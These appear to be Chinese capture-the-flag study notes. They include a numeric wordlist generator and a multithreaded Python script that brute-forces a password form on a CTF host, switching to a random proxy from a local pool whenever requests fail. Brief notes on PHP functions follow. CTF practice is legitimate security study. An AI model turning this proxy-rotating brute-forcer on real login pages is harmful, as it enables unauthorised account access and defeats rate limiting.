17
考查:bp爆破,简单字典生成

with open('test.txt','w') as w:
    for i in range(10000,99999):
        w.writelines(str(i)+'\n')

扩展:
Python多线程,ip代理池搭建

import requests,_thread,threading,time,pcl_tools,sys,random
url='http://123.206.87.240:8002/baopo/?yes'

def _ex():
    sys.exit()
class _thread(threading.Thread):   # 重载threading.Thread
    def __init__(self,_list):
        threading.Thread.__init__(self)
        self._list=_list
    def run(self):
        for i in self._list:
            try:
                data=requests.post(url,data={'pwd':i}).text.encode('raw_unicode_escape' ).decode()
            except Exception:
                proxy={
                        'http':'http://'+requests.get('http://localhost/Proxy_Pool/proxy-ip.php').text.split('<br>')[random.choice([_ for _ in range(100)])]
                    }
                print(proxy)
                data=requests.post(url,data={'pwd':i},proxies=proxy).text.encode('raw_unicode_escape' ).decode()
            if '密码不' in data:
                print('[-]{} is not pass!'.format(i))
            else:
                print('[+]{} maybe it is you want'.format(i))
                _ex()


def halve(_list,n):
    n=int(len(_list)/n)   # list数除以线程数=份数
    for i in range(0,len(_list),n):
        yield(_list[i:i+n])

num=0
for i in halve([i for i in range(13000,14000)],50):
    exec("_thread{}=_thread({})".format(num,i))
    exec('_thread{}.start()'.format(num))

//Python多线程的终止

https://github.com/xiaoyue2019

19:
include_once() 应该用于在脚本执行期间同一个文件有可能被包含超过一次的情况下,想确保它只被包含一次以避免函数重定义,变量重新赋值等问题。
ini_set(“display_errors”, 0); 不显示错误。
strstr() 函数搜索字符串在另一字符串中是否存在,如果是,返回该字符串及剩余部分,否则返回 FALSE。
$_SERVER[‘REQUEST_URI’],这是取得当前URL的 路径地址
substr() 函数返回字符串的一部分。
str_replace() 函数替换字符串中的一些字符(区分大小写)。
parse_str() 函数把查询字符串解析到变量中。